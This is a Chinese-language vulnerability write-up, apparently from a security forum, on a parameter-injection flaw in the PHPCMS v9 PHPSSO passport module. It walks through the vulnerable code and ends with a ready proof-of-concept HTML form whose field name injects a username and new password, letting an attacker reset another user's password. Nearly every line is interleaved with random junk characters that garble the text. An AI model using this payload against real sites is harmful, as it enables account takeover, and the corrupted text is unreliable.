提到的通行证的代码:3 g3 k! S/ _5 @$ Y2 C. ]( m
$ \( r4 d F1 f5 N& |- R- ~& z8 G
. o! X4 L" ]: {* w8 U! D$ B/ `3 jparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);9 _( U5 }# Y8 X* m: X4 f8 J0 G
# a- O- w+ f |- ^, Y9 _' Y: Q" m
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。. f4 W& c/ Y8 C$ n( J& y% E# i! H/ y2 @- j
* }4 m' f( k: W6 K8 W J- l. j* n
我把它留给了你们。" M& x2 |( u/ d1 x
不知道你们发现了它没有。
3 P; x! t, [6 m$ I: ?! ]( ^, t9 i3 [# b) `9 u/ {+ D
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
6 V1 r" _( [' b( \1 r1 C1 I( F3 y) z9 F# T0 T+ ?1 l- |; m; G! K! `
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
+ A H1 q" C( a& }, w; { k9 M- U: N% W5 ~% h7 I. W
也就是) ]" A$ x4 Q5 M I% m
- @4 a: ^$ f7 cusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
5 q- ?$ ?! r$ s5 h
* I1 z& S& S! ^# L" \要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
% i: @) R1 s$ ~" ]5 l6 i9 Y. ^ q4 H3 _
) A- E" F& P; L9 u; C1 U7 m其实我们有这样的机会,看看代码,如下:
$ D$ A, b) {1 `0 u2 k, ]- |8 s) |: _+ m+ h2 v/ ~; @
9 S L1 P# I* ?* N8 i% J9 e$ ipublic function auth_data($data) {: q" Y1 v! C0 P4 w- o. p ]
$s = $sep = '';5 S8 |) T/ n9 v. O/ `0 o$ ^, J# n
foreach($data as $k => $v) {
# ?0 x) m; Y- v0 M$ }2 D if(is_array($v)) {3 o& b7 u. R8 z' |
$s2 = $sep2 = '';
+ d! m4 f# ~( g1 G3 ?0 x foreach($v as $k2 => $v2) {
5 D1 w! }) f* b* f- U- m $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
( P3 k, H. R' | $sep2 = '&';; W9 m, }& m5 w
}% S' C0 O% u# ?- d3 `3 O
$s .= $sep.$s2;6 T, @* o& V. L( }/ M4 o& d
} else {
' h" I; I4 t* x# n) y# b; x# \ $s .= "$sep$k=".$this->_ps_stripslashes($v);
' O& {' E4 ^* j& ? }
! |; w# ?, ^( Y' G, w o/ b $sep = '&';) M* J; ~) o | K- G( u
}" n5 V/ u' Z4 ~1 S
9 k- L9 Y `0 C( R6 ]+ } $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
5 s( F5 S- S" V \ return $auth_s;
- k# t; ]0 Z- A; [ f$ K }7 y4 v7 g3 ?* E6 N* n
$ ?4 i, C* J2 i9 M+ d4 }
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
! u7 U# R9 J9 V% d! \. y/ m$ j$ ~3 [# ]9 N, D& ?
举个例子
* {9 F0 i" E, u# G( w4 Z
# e8 e! h$ [/ Y9 F6 Q8 j, K$a[aaa=a&bbb] = 'a';) P6 M: p4 J# {3 B W& P
! f! t% M9 \8 O1 p& H( e# c会变成aaa=a&bbb=a' A! |/ E2 G2 Z" ~ O9 X
% u- V- ]. A% P) _8 C" c9 S( F# ^2 U明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
9 v$ v* s2 h) J8 z+ `4 H+ L0 K3 S+ w! @5 C
这个时候,我们可以再去看一个函数。% N* b' r6 C4 e; c* L
9 q4 x0 \, }& ]! t) r
就在这个文件内:% |" r* ]& d, k" h- F. M8 x
( o0 h4 F' U* `" z' X
, o- K; ^" z/ V( p- K! d$ spublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {0 L* W- Z6 `. V
if($email && !$this->_is_email($email)) {" U8 T/ u( w2 N. f* x( ^
return -4;" F% ^; m& F8 K3 k) g8 `( f
}
4 z$ C3 e5 C6 W0 Z; p4 j( t- w$ g return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
/ }9 r/ O( F0 V }, ~9 O! ]1 o8 @8 r) \
3 y) m. D% M4 p6 q- W' V; S7 U这是向通行证发了这样一个请求。
! h4 R1 {: @) V& e3 \% f+ d
5 G# `- C& l- G, `# X' k/ l; u我们再跟到通信证代码里去看看,就会有所发现。
5 h e" ~2 c8 Y5 Q5 u- c
" s$ A' f, p; R4 P$ l
, F* k! E0 R6 O6 Ipublic function edit() {
, ^, j; K( L4 d/ o" W i//能省就省,太长了不是吗?
3 I9 @5 Y* U# d: V5 ^
" `: Y8 W% M/ t6 N4 X% Gif($this->username) {
( p8 ~, I) T2 G% U//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。9 E# Z0 O( I* k; V
$res = $this->db->update($data, array('username'=>$this->username));
6 Z: _6 y7 c) m } else {* z* s7 B/ b6 i' D! D
file_put_contents('typeb.txt',print_r($data,1).$this->uid);' V$ _6 J, ~9 I) G- q# N
$res = $this->db->update($data, array('uid'=>$this->uid));
1 [4 x/ _3 Q& x) E, n- e! Y) @ }. E4 H5 |9 \. t* n
' {7 a" G" i5 M4 F好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
( C% g$ q5 @8 h/ X% j
+ W `. q9 I0 d6 B/ s' kpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
( t0 M3 f% Y- C. a7 F
" i) \9 z9 A8 b4 ~, {很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
' |8 b# {. {9 e3 R9 i9 v, w0 q, i6 h
我当然找到了:0 H, {/ @* Z& c% |: q# D# K G6 n
phpcms9/phpcms/modules/member/index.php
: o% G+ y( V6 x; x# C; ~: C8 B p3 ]( o. Q0 A9 n
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
1 P8 d! ~5 m$ J: f" q2 p( Q& e8 ^
然后就没有然后了。2 C1 j7 b: \0 ]1 O2 o
/ n+ E7 i( ]& v9 h5 F* X<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">3 A5 Y# u& K3 ~4 P
<table width="100%" cellspacing="0" class="table_form">
) I' \8 A0 n! |) @! h& R <tr>3 d' `. e ^- Q3 [
<th width="80">邮箱:</th> ' Q. M( k. {( e& F' P- d% `/ P
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
5 d8 Y3 V1 ?7 Q* ]) E4 @ </tr>
& ]( R: C4 p0 [* B, {1 _ <tr>
! i7 U) G% I( s- P& ^ <th width="80">原密码:</th> , f: V1 s2 |5 O7 g1 M/ J- G+ U% _1 S
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
. _# Y/ B6 d' D# o+ w1 ~, b </tr>
3 d" e: v; B; k4 M <tr>6 o9 E' o: r$ q' g/ ]4 \
<th>新密码:</th>
3 Y+ ]1 L8 i! F& ~* J <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>4 \3 s8 z, Y) k+ I
</tr>
9 Q/ h6 o0 b, R$ H5 w" Z$ p8 Z% u# I <th></th>
2 m0 q+ X7 R9 w' v5 ^ <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
" a1 V/ O& R- c* k& v- ` </tr>. S2 H/ ?9 n5 d6 u6 ^$ R' ]
</table>
* `* \+ J( i1 b8 L7 R( l) [- e( R z2 |: P, M2 X( a
2 Q2 ~! ~& r# ^$ ?: |) a/ ? </form>
+ z* h# T' q5 y Q: q9 S |